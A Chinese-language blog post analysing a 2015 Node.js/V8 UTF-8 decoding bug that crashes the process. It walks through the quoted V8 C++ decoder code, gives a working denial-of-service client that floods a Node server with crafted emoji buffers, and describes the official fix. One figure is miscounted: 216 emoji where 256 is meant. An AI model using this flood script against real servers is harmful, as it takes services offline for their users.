背景
Node.js 社區近期在美國獨立日周末的狂歡之時爆出漏洞
https://medium.com/@iojs/important-security-upgrades-for-node-js-and-io-js-8ac14ece5852
先給出一段會觸發該漏洞的代碼
直接在v0.12.4版本的node上運行,立即crash。

下面我們詳細的分析下該漏洞的原理。
調用棧
上面的代碼構造了一個長度為1025的buffer,然后調用該buffer的toString方法解碼成utf8字符,平時開發中再平常不過的調用了。但是為什么在這里會導致crash呢,和平時的寫法到底有什么差別?
示例代碼雖少,但是里面涉及到的各種調用可不少,從js到node中的c++,再到更底層的v8調用。大致過程如下圖所示。

關鍵調用
導致該漏洞產生的有幾個比較關鍵的調用過程。
Utf8DecoderBase::Reset
每一個Utf8DecoderBase
類實例化的對象都有一個私有的屬性buffer_
,
private:
uint16_t buffer_[kBufferSize];
其中utfDecoder的kBufferSize設置為512,buffer_用做存儲解碼后的utf8字符緩沖區。這里需要注意的是512不是字節數,而是字符數,有些utf8字符只需要一個這樣的字符就能表示,有些則需要2個。示例代碼中構造buffer用的微笑字符則需要2個這樣的字符來表示,4個字節來存儲。所以buffer_能存儲的字節數是512*2=1024。
如果待解碼的buffer長度不超過1024時,在buffer_中就能完全被解碼完。解碼到buffer_的字符通過調用v8::internal::OS::MemCopy(data, buffer_, memcpy_length*sizeof(uint16_t))
被拷貝到返回給node使用的字符串內存區。
Utf8DecoderBase::WriteUtf16Slow
但是當待解碼的buffer長度超過1024個字節時,前1024個字節解碼后還是通過上面講的buffer_緩沖區存儲,剩余待解碼的字符則交給Utf8DecoderBase::WriteUtf16Slow
處理。
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
uint16_t* data,
unsigned data_length) {
while (data_length != 0) {
unsigned cursor = 0;
uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
// There's a total lack of bounds checking for stream
// as it was already done in Reset.
stream += cursor;
if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
*data++ = Utf16::LeadSurrogate(character);
*data++ = Utf16::TrailSurrogate(character);
DCHECK(data_length > 1);
data_length -= 2;
} else {
*data++ = character;
data_length -= 1;
}
}
}
WriteUtf16Slow對剩余的待解碼buffer調用 Utf8::ValueOf進行解碼, 調用Utf8::ValueOf時每次輸出一個utf8字符。其中data_length表示還需要解碼的字符數(注意不是utf8字符個數,而是uint16_t的個數),直至剩余的data_length個字符全部被解碼。
Utf8::ValueOf
上面講到調用Utf8::ValueOf從剩余buffer中解碼出一個utf8字符,當這個utf8字符需要多個字節存儲時,便會調用到Utf8::CalculateValue, Utf8::CalculateValue根據utf8字符的編碼規則從buffer中解析出一個utf8字符。關于utf8編碼的詳細規則可以參考阮一峰老師博客的文章《字符編碼筆記:ASCII,Unicode和UTF-8》,里面非常詳細的講解了utf8的編碼規則。

uchar Utf8::CalculateValue(const byte* str,
unsigned length,
unsigned* cursor)
其中第一個參數表示待解碼的buffer,第二個參數表示還可以讀取的字節數,最后一個參數cursor表示解析結束后buffer的偏移量,也就是該utf8字符所占字節數。
實例分析
簡單的講解了實例代碼執行時的調用鏈路后,我們再結合示例代碼進行具體的調用分析。
buffer創建
首先示例代碼使用一個占用4字節的微笑字符,構造出一個長度為257*4=1028的buffer,接著又調用slice(0,-3)去除最后面的3個字節,如下圖所示。

buffer解碼
然后調用buffer.toString()方法,將buffer解碼為utf的字符串。由于待解碼的字符長度為1025,所以前1024個字節會在Utf8DecoderBase::Reset中解碼出512個字符(216個表情)到buffer_中,剩余的一個buffer 0xf0
被傳入到Utf8DecoderBase::WriteUtf16Slow中繼續解碼。
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
uint16_t* data,
unsigned data_length);
stream為待解碼的buffer,data存儲解碼后的字符,data_length表示待解碼的字符數。此時buffer_緩沖區中的512個字符已被copy到data中。

last buffer
剩余的最后一個buffer 0xf0
交給Utf8DecoderBase::WriteUtf16Slow處理,通過調用Utf8::ValueOf進行解碼。
最后一個字節的二進制為(0xf0).toString(2)='11110000'
,根據utf8編碼規則,是一個占用4字節的utf8字符的起始字節,于是繼續調用Utf8::CalculateValue讀取后面的字符。
由于之前完整的buffer被截掉了3個字節,所以理想情況下再次讀取下一個字節時讀到0x00
, 二進制為(0x00).toString(2)='00000000'
。很明顯,不符合utf8規則預期的字節10xxxxxx
,函數返回kBadChar(0xFFFD)。至此整個解碼結束,程序無crash。
終于crash
上面說到了理想情況,但實際中由于V8引擎的內存管理策略,讀完最后一個buffer再繼續讀取下一個字節時很可能會讀到臟數據(根據我打印的log發現讀取到臟數據的概率非常高,log詳情), 如果繼續讀取到臟數據剛好和最后一個字節組合一起滿足utf8編碼規則(這個概率也很高),此時便讀取到了一個合法的utf8字符(two characters),而理想情況應該讀取到的是kBadChar(one character),那這又會產生什么問題呢?
我們再回到Utf8DecoderBase::WriteUtf16Slow的調用上
void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
uint16_t* data,
unsigned data_length) {
while (data_length != 0) {
unsigned cursor = 0;
uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
// There's a total lack of bounds checking for stream
// as it was already done in Reset.
stream += cursor;
if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
*data++ = Utf16::LeadSurrogate(character);
*data++ = Utf16::TrailSurrogate(character);
DCHECK(data_length > 1);
data_length -= 2;
} else {
*data++ = character;
data_length -= 1;
}
}
}
此時data_length=1, 調用uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor),讀取到滿足編碼規則的臟數據后if條件滿足,于是執行DCHECK(data_length > 1)
,而此時data_length=1,斷言失敗,進程退出( 但在我的mac系統上并沒有因為斷言失敗退出,此時繼續執行data_length-=2, data_length=-1,while循環無法退出,產生bus error進程crash)。
define DCHECK(condition) do { \
if (!(condition)) { \
V8_Fatal(__FILE__, __LINE__, "CHECK(%s) failed", #condition); \
} \
} while (0)
設計攻擊方案
了解漏洞原理后,設計一個攻擊方案就簡單很多了,只要有涉及到buffer操作的地方都可以產生攻擊,web開發中常見的就是服務器攻擊了,下面我們利用這個漏洞設計一個服務器的攻擊方案,導致被攻擊服務器進程crash,無法正常提高服務。
web開發中經常會有post請求,而node服務器接收post請求時發生到服務器的數據,必然會使用到buffer,所以主要方案就是向node服務器不斷的post惡意構造的buffer。
server
使用原生http模塊啟動一個可以接收post數據的服務器
var http = require('http');
http.createServer(function(req, res){
if(req.method == 'POST') {
var buf = [], len = 0;
req.on('data', function(chunk){
buf.push(chunk);
len += chunk.length;
});
req.on('end', function(){
var str = Buffer.concat(buf,len).toString();
res.end(str);
});
}else {
res.end('node');
}
}).listen(3000);
client
由于讀取臟內存的數據并且需要滿足utf8編碼規則存在一定的概率,所以客戶端得不斷的向服務器post,為了加快服務器crash,我們發送稍微大點的buffer
var net = require('net');
var CRLF = '\r\n';
function send () {
var connect = net.connect({
'host':'127.0.0.1',
'port':3000
});
sendRequest(connect,'/post');
}
send();
setInterval(function(){
send()
},100);
function sendRequest(connect, path) {
var smile = Buffer(4);
smile[0] = 0xf0;
smile[1] = 0x9f;
smile[2] = 0x98;
smile[3] = 0x8a;
smile = smile.toString();
var buf = Buffer(Array(16385).join(smile)).slice(0,-3);
connect.write('POST '+path+' HTTP/1.1');
connect.write(CRLF);
connect.write('Host: 127.0.0.1');
connect.write(CRLF);
connect.write('Connection: keep-alive');
connect.write(CRLF);
connect.write('Content-Length:'+buf.length);
connect.write(CRLF);
connect.write('Content-Type: application/json;charset=utf-8');
connect.write(CRLF);
connect.write(CRLF);
connect.write(buf);
}
啟動服務器后,執行client腳本發現服務器很快就crash了。
漏洞修復
了解漏洞原理后修復其實非常簡單,主要原因就是調用Utf8::ValueOf解析字符時會讀取到符合編碼規則的臟數據,而這個是因為傳入的第二個參數是常量4,即使最后只剩一個字節時還繼續讀取。node官方的做法是調用此方法時傳入剩余待解碼的字節數,這樣解析到最后一個字節時就不會繼續讀取到臟數據,自然也就不會造成斷言失敗或者死循環導致進程crash了。